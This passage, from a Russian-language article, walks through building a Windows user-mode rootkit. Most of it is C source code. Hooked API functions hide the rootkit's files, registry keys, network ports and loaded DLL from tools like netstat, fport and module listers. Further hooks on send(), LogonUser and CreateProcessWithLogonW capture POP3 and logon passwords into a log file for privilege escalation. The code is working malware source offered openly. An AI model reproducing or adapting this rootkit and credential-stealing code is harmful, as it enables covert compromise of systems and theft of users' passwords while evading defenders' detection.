return INVALID_HANDLE_VALUE;

return hret;
}
---------------------- КОНЕЦ ПРИМЕРА 5 -----------------------------

А теперь давайте заменим FindNextFileA:

---------------------- ПРИМЕР 6 -----------------------------
/* MyFindNextFileA : скрывает защищенные файлы от перечисления */
BOOL WINAPI MyFindNextFileA(
HANDLE hFindFile,
LPWIN32_FIND_DATA lpFindFileData
)
{
BOOL ret; /* возвращаемое значение */

/* Берем другой файл вместо скрываемого : */
do
{
ret = fFindNextFileA(hFindFile, lpFindFileData);
} while( !_strnicmp(lpFindFileData->cFileName, RTK_FILE_CHAR,
strlen(RTK_FILE_CHAR)) && ret!=0);

/* Выход из петли, проверка на ошибки из-за того, что файлы кончились.
Если это так, можно очистить структуру LPWIN32_FIND_DATA так:
my_memset(lpFindFileData, 0, sizeof(LPWIN32_FIND_DATA));
*/
return ret;
}
---------------------- КОНЕЦ ПРИМЕРА 6 -----------------------------

-------[ 4.3. Реестр

Предотвращение обнаружения источника запуска необходимо для такого rootkit. Для скрытия ключей реестра, rootkit заменяет API-функцию RegEnumValueW в памяти всех процессов. Принцип работы новой функции прост: если в списке обноруживается ключ, который требуется скрыть, то функция возвращает 1 - что соответствует ошибке. Единственной проблемой при реализации этого принципа является то, что вызывающий процесс прекратит запрашивать листинг содержимого ключа реестра. Таким образом он будет скрывать и подключи. Как правило, ключи расположены в алфавитном порядке. Содержащий RTK_REG_CHAR скрытый ключ должен начинаться со знака с большим ASCII кодом, чтобы считываться последним и не привлекать внимания.

---------------------- ПРИМЕР 7 -----------------------------
/* MyRegEnumValue : скрываем ключи реестра при обращении */
LONG WINAPI MyRegEnumValue(
HKEY hKey,
DWORD dwIndex,
LPWSTR lpValueName,
LPDWORD lpcValueName,
LPDWORD lpReserved,
LPDWORD lpType,
LPBYTE lpData,
LPDWORD lpcbData)
{
LONG lRet; /* возвращаемое значение */
char buf[256];
/* Вызываем оригинальную API, и скрываем процесс при необходимости */
lRet = fRegEnumValueW(hKey,dwIndex,lpValueName,lpcValueNa me,
lpReserved, lpType, lpData,lpcbData);

/* Преобразуем строку из Unicode */
WideCharToMultiByte(CP_ACP, 0,lpValueName, -1, buf, 255,NULL, NULL);

/* Если ключ должен быть скрыт... */
if(!_strnicmp((char*)buf, RTK_REG_CHAR, strlen(RTK_REG_CHAR))) {
lRet=1; /* then return –1 (error) */
}

return lRet;
}
---------------------- КОНЕЦ ПРИМЕРА 7 -----------------------------

-------[ 4.4. Netstat like tools.

Инструменты сетевой статистики не таят в себе серьёзной угрозы.
Существует много способов составить список открытых TCP/UDP портов и поведение одного и того же приложения (netstat, [TCPVIEW], [FPORT]…) может меняться в разных версиях Windows. Это хорошо видно в NT/2000 и XP где сетевая статистика начинает включать в себя идентификатор процесса и владельца для каждого TCP соединения. В любом случае, процесс получающий статистику, должен обращаться к драйверу TCP/UDP уровня ядра (\Device\Tcp and \Device\Udp). Обращение происходит через вызов DeviceIoControl, который будет отправлять запрос и получать ответ от драйвера. Перехват на этом уровне возможен, но это слишком рискованно, так как структуры и управляющие коды незадокументированы и различаются в версиях OS.

Rootkit работает под 2000 и XP, мы рассмотрим различные случаи.

-------[ 4.4.1. The case of windows 2000

В windows 2000 вызов API AllocateAndGetTcpExTableFromStack, который связывает ID процесса с TCP потоком, ещё не реализован, поэтому в этой части нет описания.

-------[ 4.4.1.1. Перехват GetTcpTable

Статистику TCP офицально можно пролучить вызовом GetTcpTable, который возвращает статистику в структуре (MIB_TCPTABLE).

DWORD GetTcpTable(
PMIB_TCPTABLE pTcpTable,
PDWORD pdwSize,
BOOL border
);

Функция принимает три параметра. Последний параметр определяет, как должны быть отсортированы полученные данные. PdwSize - указывает какой размер данных может быть записан по адресу указанному в pTcpTable. После выполнения, при достаточном размере pTcpTable, будет получена статистика соединений, если размер не достаточен - то функция изменит параметр на нужный размер. pTcpTable указывает на буфер, куда будет записана информация по соединениям TCP в виде структуры MIB_TCPTABLE. Пример получения таблицы TCP соединений можно получить в онлайне. [GETTCP]

В структуре MIB_TCPTABLE содержится таблица TCP соединений.

typedef struct _MIB_TCPTABLE {
DWORD dwNumEntries;
MIB_TCPROW table[ANY_SIZE];
} MIB_TCPTABLE,
*PMIB_TCPTABLE;
table is a pointer to a table of TCP connections implemented as an array
of MIB_TCPROW structures, one for each connection.

A MIB_TCPROW stands as follows:
typedef struct _MIB_TCPROW {
DWORD dwState;
DWORD dwLocalAddr;
DWORD dwLocalPort;
DWORD dwRemoteAddr;
DWORD dwRemotePort;
} MIB_TCPROW,
*PMIB_TCPROW;

dwState описывает состояние соединения, а dwLocalAddr, dwLocalPort, dwRemoteAddr, dwRemotePort показывает источник и приемник соединения. Для скрытия ( RTK_PORT_HIDE_MIN и RTK_PORT_HIDE_MAX) нас интересует dwLocalPort и dwRemotePort. Для скрытия соединения функции MyGetTcpTable необходимо просмотреть весь массив и переписать требуемые значения.

---------------------- ПРИМЕР 8 -----------------------------
/* MyGetTcpTable - заменяет GetTcpTable.
(проверка ошибок пропущена)
*/
DWORD WINAPI MyGetTcpTable(PMIB_TCPTABLE_ pTcpTable, PDWORD pdwSize, BOOL
bOrder)
{
u_long LocalPort=0; /* удаленный порт на локальной машине endianness*/
u_long RemotePort=0; /* локальный порт на локальной машине endianness */
DWORD dwRetVal=0, numRows=0; /* счетчики */
int i,j;

/*Вызов оригинальной функции. Если нет ошибок - очистка MIB_TCPROWs*/
dwRetVal = (*fGetTcpTable)(pTcpTable, pdwSize, bOrder);
if(dwRetVal == NO_ERROR)
{
/* for each row, test if it must be stripped */
for (i=0; i<(int)pTcpTable->dwNumEntries; i++)
{
LocalPort = (u_short) fhtons((u_short)
(pTcpTable)->table[i].dwLocalPort);

RemotePort = (u_short) fhtons((u_short)
(pTcpTable)->table[i].dwRemotePort);

/* Для фильтрации строки */
if( IsHidden(LocalPort, RemotePort) )
{
/* Сдвиг массива */
for(j=i; j<((int)pTcpTable->dwNumEntries - 1);j++)
memcpy( &(pTcpTable->table[i]),
&(pTcpTable->table[i+1]),
sizeof(MIB_TCPROW_));

/* Удаление последней строки */
memset( &(pTcpTable->table[j]),
0x00, sizeof(MIB_TCPROW_));

/* Снижение размера массива */
(*pdwSize)-= sizeof(MIB_TCPROW_);
(pTcpTable->dwNumEntries)--;
}
}
}

return dwRetVal;
}
---------------------- КОНЕЦ ПРИМЕРА 8 -----------------------------

Вызов GetTcpTable - не единственный способ получения сетевой статистики в windows 2000. Некоторые программы, например fport, способны получить информацию о PID, используя функцию DeviceIoControl. Подмена этой API, как я говорил выше, не лучшая идея. В конечно итоге я принял решение, ориентироваться на более популярные инструменты и не перехватывать низкоуровневую DeviceIoControl.

-------[ 4.4.1.2. Победа над netstat

В этой версси windows, fport - не единственная программа, работающая с драйвером TCP/UDP. Это касается и netstat. Для взятия под контроль этих программ мы просто должны заменить функции, использующие вызов DeviceIoControl для вывода пользователю.

Для netstat мы будем перехватывать API-функцию CharToOemBuffA каторая используется для перекодировки строки перед записью в консоль.

BOOL CharToOemBuff(
LPCTSTR lpszSrc, /* Указатель на завершающуюся нулём строку для перевода. */
LPSTR lpszDst, /* Указатель на буфер для перемещения переведённой строки */
DWORD cchDstLength /* Количество символов TCHAR для перевода */
);

Если руткит обнаруживает, что он передаёт строку, содержащую скрытый порт, то вызывает функцию с путсым буфером, куда и направляется передача. Вывод в этом случае ничего не покажет.

---------------------- ПРИМЕР 9 -----------------------------
/* MyCharToOemBuffA : функция заменяющая используемую в nestat для преобразования
строки в другую кодировку перед тем, как она выводится на экран, так что у нас
есть возможность избавиться... :)
*/
BOOL WINAPI MyCharToOemBuff(LPCTSTR lpszSrc, LPSTR lpszDst,
DWORD cchDstLength)
{
/* Если в строке находится диапазон "наших" портов, то мы просто удаляем её. */
if(strstr(lpszSrc,(char*)RTK_PORT_HIDE_STR)!=NULL)
{
/* Вызываем функцию, которая очищает строку */
return (*fCharToOemBuffA)("", lpszDst, cchDstLength);
}
return (*fCharToOemBuffA)(lpszSrc, lpszDst, cchDstLength);
}
---------------------- КОНЕЦ ПРИМЕРА 9 -----------------------------

Программа netstat вызывает функцию для каждой новой строчки, так что нетпроблем просмотреть весь список.

-------[ 4.4.1.3. Победа над Fport

Однако с Fport со всем другой случай, его процесс выводит данные посимвольно. Я перехватил API WriteFile, и настроил механизм буфера так, чтобы вывод шел построчно - для облегчения маскировки.

---------------------- ПРИМЕР 10 -----------------------------
/* Изменение режима вывода FPORT.exe с посимвольного на построчный, для скрытия строк с указанием порта */
BOOL WINAPI MyWriteFile(
HANDLE hFile, /* handle файла для записи данных */
LPCVOID lpBuffer, /* указатель на данные для записи в файл */
DWORD nNumberOfBytesToWrite, /* количество байт для записи */
LPDWORD lpNumberOfBytesWritten, /* указатель на количество записанных байт */
LPOVERLAPPED lpOverlapped /* указатель на перекрывающуюся структуру
) I/O*/
{
BOOL bret=TRUE; /* Возврат значения */
char* chr = (char*)lpBuffer;
static DWORD total_len=0; /* статичный счетчик длины */
static char PreviousChars[2048*10]; /* статичный буфер знаков (переполним?) */

/* Добавление нового символа */
PreviousChars[total_len++] = chr[0];
/* Check for line termination */
if(chr[0] == '\r')
{

PreviousChars[total_len] = '\n';
PreviousChars[++total_len] = '\0';

/* показывать строку только если она не содержит скрываемых данных порт / процесс */
if(strstr((char*)PreviousChars,(char*)RTK_PORT_HID E_STR)==NULL
&& strstr((char*)PreviousChars,(char*)RTK_PROCESS_CHA R)==NULL)
{

/* Верная строка, обрабатываем вывод */
bret = fWriteFile(hFile, (void*)PreviousChars,
strlen((char*)PreviousChars),
lpNumberOfBytesWritten,
lpOverlapped);
}

/* Очистка настроек */
memset(PreviousChars, 0, 2048);
total_len= 0;
}

/* Подмена переменной, fport не замечает пропущенного вывода */
(*lpNumberOfBytesWritten) = nNumberOfBytesToWrite;

return bret;
}
---------------------- КОНЕЦ ПРИМЕРА 10 -----------------------------

-------[ 4.4.2. The case of windows XP

В windows XP программам не приходится взаимодействовать с ядром через драйвер TCP/UDP, так как е1 API имеют достаточную статистику.
Таким образом, самые распространённые приложения (netstat, Fport,Tcpview) полностью полагаются на AllocateAndGetTcpExTableFromStack (XP only) или на классическую GetTcpTable, в зависимости от потребности. Таким образом наши проблемы в windows XP сводятся к подмене AllocateAndGetTcpEx TableFromStack API. Поиск в msdn по этой функции бесполезен так как она не документирована. Тем не менее в интернете есть несколько примеров - например, [NETSTATP] написанная коллективом SysInternals, что вполне достаточно.

DWORD AllocateAndGetTcpExTableFromStack(
PMIB_TCPEXTABLE *pTcpTable, /* Буфер для таблицы соединений */
BOOL bOrder, /* сортировать таблицу? */
HANDLE heap, /* handle to process heap obtained by
calling GetProcessHeap() */
DWORD zero, /* недокументирована */
DWORD flags /* недокументирована */
)

Первый параметр весьма интересен. Это указатель на структуру MIB_TCPEXTABLE, that stands for PMIB_TCPTABLE extended, looking as follows.

typedef struct {
DWORD dwState; /* состояние соединения */
DWORD dwLocalAddr; /* адрес на локальном компьютере */
DWORD dwLocalPort; /* номер порта на локальном компьютере */
DWORD dwRemoteAddr; /* адрес на удалённом компьютере */
DWORD dwRemotePort; /* номер порта на удалённом компьютере */
DWORD dwProcessId; /* идентификатор процесса */
} MIB_TCPEXROW, *PMIB_TCPEXROW;

typedef struct {
DWORD dwNumEntries;
MIB_TCPEXROW table****;
} MIB_TCPEXTABLE, *PMIB_TCPEXTABLE;

Эта также структура, что использовалась при работе с GetTcpTable, так что реализация будет похожа.

---------------------- ПРИМЕР 11 -----------------------------
/*
AllocateAndGetTcpExTableFromStack replacement. (проверка ошибок пропущена)
*/
DWORD WINAPI MyAllocateAndGetTcpExTableFromStack(
PMIB_TCPEXTABLEE *pTcpTable,
BOOL bOrder,
HANDLE heap,
DWORD zero,
DWORD flags
)
{
/* ошибка описателя, TcpTable walk index, TcpTable sort index */
DWORD err=0, i=0, j=0;
char psname[512]; /* имя процесса */
u_long LocalPort=0, RemotePort=0; /* локальный и удалённый порт */


/* Вызов оригинальной функции ... */
err = fAllocateAndGetTcpExTableFromStack( pTcpTable, bOrder, heap,
zero,flags );

/* немедленный выход при ошибке */
if(err)
return err;

/* ... фильтр нежелательных строк. Это позволяет скрывать
открываемые/прослушиваемые/подключённые/закрываемые/... socket'ы
относящиеся к скрываемому процессу
*/
/* для всех процессов... */
for(i = 0; i < ((*pTcpTable)->dwNumEntries); j=i)
{
/* Получаем имя процесса для очистки сокетов скрытых процессов */
GetProcessNamebyPid((*pTcpTable)->table[i].dwProcessId,
(char*)psname);
/* преобразовываем порядок байт из локального в TCP/IP (big-endian)*/
LocalPort = (u_short) fhtons((u_short)
(*pTcpTable)->table[i].dwLocalPort);
RemotePort = (u_short) fhtons((u_short)
(*pTcpTable)->table[i].dwRemotePort);

/* Скрывать строку или нет? */
if( !_strnicmp((char*)psname, RTK_FILE_CHAR,
strlen(RTK_FILE_CHAR))
|| IsHidden(LocalPort, RemotePort) )
{
/* Сдвиг массива */
for(j=i; j<((*pTcpTable)->dwNumEntries); j++)
memcpy( (&((*pTcpTable)->table[j])),
(&((*pTcpTable)->table[j+1])),
sizeof(MIB_TCPEXROWEx));

/* Очистка последней строки */
memset( (&((*pTcpTable)->table[((
(*pTcpTable)->dwNumEntries)-1)])),
0, sizeof(MIB_TCPEXROWEx));

/* уменьшение номера строки */
((*pTcpTable)->dwNumEntries)-=1;


/* Заново для текущей строки, которая также может содержать скрытый процесс */
continue;
}

/* ОК, переход к следующей строке */
i++;
}
return err;
}
---------------------- КОНЕЦ ПРИМЕРА 11 -----------------------------

Эта функция реализована в kNTINetHide.c.

-------[ 4.5. Global TCP backdoor / password grabber

Так как rootkit внедряется во все пользовательские процессы, то существует возможность создать TCP backdoor путём перехвата recv и WSARecv, использующиеся во всех приложениях ( включая web-сервер ).
Это достаточно сложно и заслуживает отдельного проекта, поэтому я ограничился на перехвате паролей почтовых клиентов[kSENTINEL]. В настоящее время он способен перехватывать пароли от Outlook и Netscape, но легко может быть расширен для других приложений, если поиграться с #defines. Динамический перехват TCP соединений между почтовым клиентом и сервером позволяет извлекать имя пользователя и пароль для дальнейшей эскалации привилегий.

---------------------- ПРИМЕР 12 -----------------------------
/* Перехватчик POP3 паролей. Заменяет функцию send().
*/
int WINAPI MySend(SOCKET s, const char FAR * buf, int len, int flags)
{
int retval=0; /* Возвращаемое значение */
char* packet; /* Временный буфер */

if(!fSend) /* проверка ошибок */
return 0;

/* Вызов оригинальной функции */
retval = fSend(s, buf, len, flags);

/* пакет - временный буфер для параметра buf, который может быть в
другом сегменте памяти, так что используем следующий трюк с memcpy */


packet = (char*) malloc((len+1) * sizeof(char));
memcpy(packet, buf, len);

/* Проверка чтения памяти */
if(!IsBadStringPtr(packet, len))
{
/* Просматривает интересующие пакеты (POP3 протокол) */
if(strstr(packet, "USER") || strstr(packet, "PASS"))
{
/* Нужный пакет найден! */

/* Запись строки в logfile (%user
profile%\NTILLUSION_PASSLOG_FILE) */

Output2LogFile("'%s'\n", packet);
}
}


free(packet);

return retval;
}
---------------------- КОНЕЦ ПРИМЕРА 12 -----------------------------

FTP логины и пароли также могут быть перехвачены, если доработать фильтр.

-------[ 4.6. Эскалация привилегий

Перехват POP3 и FTP паролей может способствовать распространению на другие машины, в связи с тем что пользователи часто используют один и тот же пароль для всех аккаунтов. В любом случае, при перехвате пароля другого пользователя на этой же машине, нет сомнений в его валидности. Руткит сохраняет попытки работать от другого пользователя. Это тот случай, когда используют команду “the run as user” в контекстном меню при нажатии правой кнопкой мыши на исполняемом файле. Используемые при этом API перенаправляются таким образом, что успешные попытки входа аккуратно сохраняются на жёсткий диск для дальнейшего использования. Это достигается путём замены функций LogonUserA и CreateProcessWithLogonW.

Программа runas есть только в версии windows 2000/XP и реализована при помощи CreateProcessWithLogonW. Её мы заменяем нижеследующей.

---------------------- ПРИМЕР 13 -----------------------------
/* MyCreateProcessWithLogonW : собирает логины/пароли, использованные пользователем
для создания процесса от другого аккаунта (runas). (runas /noprofile /user:MyBox\User cmd)
*/
BOOL WINAPI MyCreateProcessWithLogonW(
LPCWSTR lpUsername, /* логин */
LPCWSTR lpDomain, /* домен */
LPCWSTR lpPassword, /* пароль */
DWORD dwLogonFlags, /* опции входа */
LPCWSTR lpApplicationName, /* имя приложения... */
LPWSTR lpCommandLine, /* команда */
DWORD dwCreationFlags, /* отсылка к CreateProcess*/
LPVOID lpEnvironment, /* переменные окружения */
LPCWSTR lpCurrentDirectory, /* рабочий каталог */
LPSTARTUPINFOW lpStartupInfo, /* информация о запуске и процессе, см. CreateProcess */
LPPROCESS_INFORMATION lpProcessInfo)
{
BOOL bret=false; /* Возврат значения */
char line[1024]; /* Буфер для сохранения строк */

/* Во-первых, юзер входит */
bret = fCreateProcessWithLogonW(lpUsername,lpDomain,lpPas sword,
dwLogonFlags,lpApplicationName,lpCommandLine,
dwCreationFlags,lpEnvironment,lpCurrentDirectory,
lpStartupInfo,lpProcessInfo);

/* Внедряемся в процесс если его имя не RTK_FILE_CHAR */
/* Stripped [...] */

/* Сохранения информации для дальнейшего использования */
memset(line, 0, 1024);
if(bret)
{
sprintf(line, "Domain '%S' - Login '%S' - Password '%S' –
LOGON SUCCESS", lpDomain, lpUsername, lpPassword);
}
else
{
sprintf(line, "Domain '%S' - Login '%S' - Password '%S' –
LOGON FAILED", lpDomain, lpUsername, lpPassword);
}

/* Log the line */
Output2LogFile((char*)line);

return bret;
}
---------------------- КОНЕЦ ПРИМЕРА 13 -----------------------------

В windows XP, explorer.exe использует GUI для входа с рабочего стола. Это основано на LogonUser, замена которой продемонстрирована ниже. Нас интересуют только lpszUsername, lpszDomain и lpszPassword.

---------------------- ПРИМЕР 14 -----------------------------
/* MyLogonUser : collects logins/passwords employed to log on from the
local station */
BOOL WINAPI MyLogonUser(LPTSTR lpszUsername, LPTSTR lpszDomain, LPTSTR
lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken)
{
char buf[1024]; /* Buffer used to set up log lines */

/* Set up buffer */
memset(buf, 0, 1024);
sprintf(buf, "Login '%s' / passwd '%s' / domain '%'\n",
lpszUsername,
lpszPassword,
lpszDomain);
/* Log to disk */
Output2LogFile((char*)buf);

/* Perform LogonUser call */
return fLogonUser(lpszUsername, lpszDomain, lpszPassword,
dwLogonType, dwLogonProvider, phToken);
}
---------------------- КОНЕЦ ПРИМЕРА 14 -----------------------------

Перехваченные данные перенаправляются в log-файл в корневом каталоге профиля пользователя и могут быть зашифрованы простым XOR с 1-байтовым ключом.

-------[ 4.7. Модуль скрытия

Как только он загружен в процесс - rootkit скрывает свою DLL.
Таким образом, если система не подключает LdrLoadDll или эквивалент на уровне ядра, то создается впечталение, что руткит никогда не внедрялся в процессы. Ниже демонстрируемая техника весьма эффективна против всех программ используюющих windows API для перечисления модулей. Исходя из того, что EnumProcessModules/Module32First/Module32Next/… зависит от информации NtQuerySystem, и потому, что эта техника модифицирует то, как API извлекает информацию, это не грозит обнаружением модулямии,перечисляющими процессы: ListDlls, ProcessExplorer (See [LISTDLLS] and [PROCEXP]), and VICE rootkit detector. [VICE]

Подмена возможно на уровне ring 3, так как ядро хранит список загруженных DLL для каждого процесса в его пользовательском пространстве памяти. Поэтому процесс может влиять на него и переписать часть памяти для скрытия нужного модуля. Эти структуры данных конечно не документированы, но могут быть востановлены используя Process Environment Block (PEB), расположеный FS:0x30 внутри каждого процесса. Функция, возвращающая адрес структуры PEB для текущего процесса, представлена ниже.

---------------------- ПРИМЕР 15 -----------------------------
DWORD GetPEB()
{
DWORD* dwPebBase = NULL;
/* Return PEB address for current process
address is located at FS:0x30 */
__asm
{
push eax
mov eax, FS:[0x30]
mov [dwPebBase], eax
pop eax
}
return (DWORD)dwPebBase;
}
---------------------- КОНЕЦ ПРИМЕРА 15 -----------------------------

The role of the PEB is to gather frequently accessed information for a process as follows. По адресу FS:0x30 (or 0x7FFDF000) расположены следующие структуры [PEB].

/* расположена по адресу 0x7FFDF000 */
typedef struct _PEB
{
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
BOOLEAN Spare;
HANDLE Mutant;
PVOID ImageBaseAddress;
PPEB_LDR_DATA LoaderData;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
[...]
ULONG SessionId;
} PEB, *PPEB;

Нас интересует член структуры PPEB_LDR_DATA LoaderData каторая содержит информацию о модулях загруженных при старте.

typedef struct _PEB_LDR_DATA
{
ULONG Length;
BOOLEAN Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;

В структуре PEB_LDR_DATA содержит три LIST_ENTRY, которые содержат двухсвязный список с информацией о загружаемых DLL в текущем процессе. InLoadOrderModuleList отсортирован в порядке загрузки, InMemoryOrderModuleList отсортирован в порядке размещения в памяти и InInitializationOrderModuleList и в порядке инициализации.

Это двухсвязный список содержит указатель на LDR_MODULE внутри родительской структуры, на следующий и предыдущий модуль.

typedef struct _LDR_MODULE {

LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID BaseAddress;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;

} LDR_MODULE, *PLDR_MODULE;

На практике всё-это не всегда верно, поскольку LIST_ENTRY специфически себя ведёт. В действительности базовый адрес объекта окружения высчитывается путем вычитания оффсета члена LIST_ENTRY из его адреса (&LIST_ENTRY), так как члены LIST_ENTRY Flink и Blink всегда указывают на другой вход LIST_ENTRY из списка, не основной в узле списка. Это даёт возможность без помех создать взаимосвязи между объектами разных списков, как указывает Sven B. Schreiber в “Undocumented Windows 2000 Secrets”. Для доступа к элементам InLoadOrderModuleList не нужно беспокоиться об оффсетах, так как это первый элемент структуры LDR_MODULE, и может быть напрямую вызван из LIST_ENTRY. В случае InMemoryOrderModuleList не нужды вычитать sizeof(LIST_ENTRY). Аналогично, для доступа к LDR_MODULE из InInitializationOrderModuleList мы просто вычтем 2*sizeof(LIST_ENTRY).
Следующий пример показывает перемещение по списку и удаление из него модуля по имени (szDllToStrip).

---------------------- ПРИМЕР 16 -----------------------------
/* Walks one of the three modules double linked lists referenced by the
PEB (error check stripped)
ModuleListType is an internal flag to determine on which list to operate :
LOAD_ORDER_TYPE <---> InLoadOrderModuleList
MEM_ORDER_TYPE <---> InMemoryOrderModuleList
INIT_ORDER_TYPE <---> InInitializationOrderModuleList
*/
int WalkModuleList(char ModuleListType, char *szDllToStrip)
{
int i; /* internal counter */
DWORD PebBaseAddr, dwOffset=0;

/* Module list head and iterating pointer */
PLIST_ENTRY pUserModuleListHead, pUserModuleListPtr;

/* PEB->PEB_LDR_DATA*/
PPEB_LDR_DATA pLdrData;
/* Module(s) name in UNICODE/AINSI*/
PUNICODE_STRING pImageName;
char szImageName[BUFMAXLEN];

/* First, get Process Environment Block */
PebBaseAddr = GetPEB(0);

/* Compute PEB->PEB_LDR_DATA */
pLdrData=(PPEB_LDR_DATA)(DWORD *)(*(DWORD *)(PebBaseAddr +
PEB_LDR_DATA_OFFSET));

/* Init linked list head and offset in LDR_MODULE structure */
if(ModuleListType == LOAD_ORDER_TYPE)
{
/* InLoadOrderModuleList */
pUserModuleListHead = pUserModuleListPtr =
(PLIST_ENTRY)(&(pLdrData->ModuleListLoadOrder));
dwOffset = 0x0;
} else if(ModuleListType == MEM_ORDER_TYPE)
{
/* InMemoryOrderModuleList */
pUserModuleListHead = pUserModuleListPtr =
(PLIST_ENTRY)(&(pLdrData->ModuleListMemoryOrder));
dwOffset = 0x08;
} else if(ModuleListType == INIT_ORDER_TYPE)
{
/* InInitializationOrderModuleList */
pUserModuleListHead = pUserModuleListPtr =
(PLIST_ENTRY)(&(pLdrData->ModuleListInitOrder));
dwOffset = 0x10;
}

/* Просматриваем выбранный список */
do
{
/* Переходим к следующей структуре LDR_MODULE */
pUserModuleListPtr = pUserModuleListPtr->Flink;
pImageName = (PUNICODE_STRING)(
((DWORD)(pUserModuleListPtr)) +
(LDR_DATA_PATHFILENAME_OFFSET-dwOffset));

/* Decode unicode string to lower case on the fly */
for(i=0; i < (pImageName->Length)/2 && iBuffer)+(i) ));
/* Null terminated string */
szImageName[i] = '\0';

/* Проверяем та ли эта DLL */
if( strstr((char*)szImageName, szDllToStrip) != 0 )
{
/* Прячем эту dll : удаляем этот модуль (out of
the double linked list)
(pUserModuleListPtr->Blink)->Flink =
(pUserModuleListPtr->Flink);
(pUserModuleListPtr->Flink)->Blink =
(pUserModuleListPtr->Blink);
/* Here we may also overwrite memory to prevent
recovering (paranoid only ;p) */
}
} while(pUserModuleListPtr->Flink != pUserModuleListHead);

return FUNC_SUCCESS;
}
---------------------- КОНЕЦ ПРИМЕРА 16 -----------------------------

Для обработки трёх связанных листов руткит вызывает функцию HideDll:

---------------------- ПРИМЕР 17 -----------------------------
int HideDll(char *szDllName)
{
return ( WalkModuleList(LOAD_ORDER_TYPE, szDllName)
&& WalkModuleList(MEM_ORDER_TYPE, szDllName)
&& WalkModuleList(INIT_ORDER_TYPE, szDllName) );
}
---------------------- КОНЕЦ ПРИМЕРА 17 -----------------------------

Я никогда не видел, чтобы этот метод применялся для скрытия модуля - только для восстаонвления базового адреса DLL в детальных шеллкодах [PEBSHLCDE].

Что бы закончить с описанием этой техники, я должен сказать, что это довольный эффективный способ в пространстве пользователя, но не столь эффективный против персональных фаерволов, работающих на уровне ядра, например таких как Sygate Personal Firewall. Его нельзя обойти, используя предложенный метод, и анализ его исходников показал ипользование захвата в таблице syscalls ядра, тем самым получая информацию одновременно с подгрузкой DLL в любой процесс, что нарушает всю маскировку. Другими словами - персональные фаерволы являются самыми страшными врагами rootkit’ов уровня пользователя.

-------[ 5. Ending

-------[ 5.1. Заключение

Механизмы, представленные в этом документе, являются результатом длительных исследований и экспериментов. Они показывают, что с помощью пространства пользователя можно создать эффективную угрозу для системы, которая всё же может быть устранена путём тщательного анализа эксплуатируемых уязвимостей. Поэтому этот тип rootkit не является совершенным, так как всё-равно может быть обнаружен, даже если это достаточно сложно. Стоит помнить, что главное это не вызывать подозрений, чтобы не быть обнаруженным. Другими словами - rootkit’ы уровня пользователя идеально подходят для повышения привилегий, которые можно использовать для более тщательного сокрытия.

-------[ 5.2. Greets

“If I have seen further it is by standing on the shoulders of giants.”
Это цитата Isaac Newton (1676) отлично описывает проделанную работу.
Поэтому я выражаю благодарность всем авторам, которые делают интернет местом свободного обмена информацией. Без них вы бы не прочитали этот текст. Это особенно справедливо в отношении Ivo Ivanov - благодаря вам я открыл мир перехвата API -, Crazylord предоставившего мне информацию для написания моего первого драйвера, Holy_Father и Eclips, рассмотревших некоторые вопросы пользовательского пространства. Хочу добавить сюда и своих друзей и тестеров, каторые помогли мне сделать текст более доступным. Надеюсь я достиг этой цели. И в заключении моим друзям по команде: вы знаете кто вы. Особое спасибо моему другу - unix consultant Artyc.

That’s all folks!

“I tried so hard, and gone so far. But in the end, it doesn’t even
matter…”

Izg0y © CORU, r0 Crew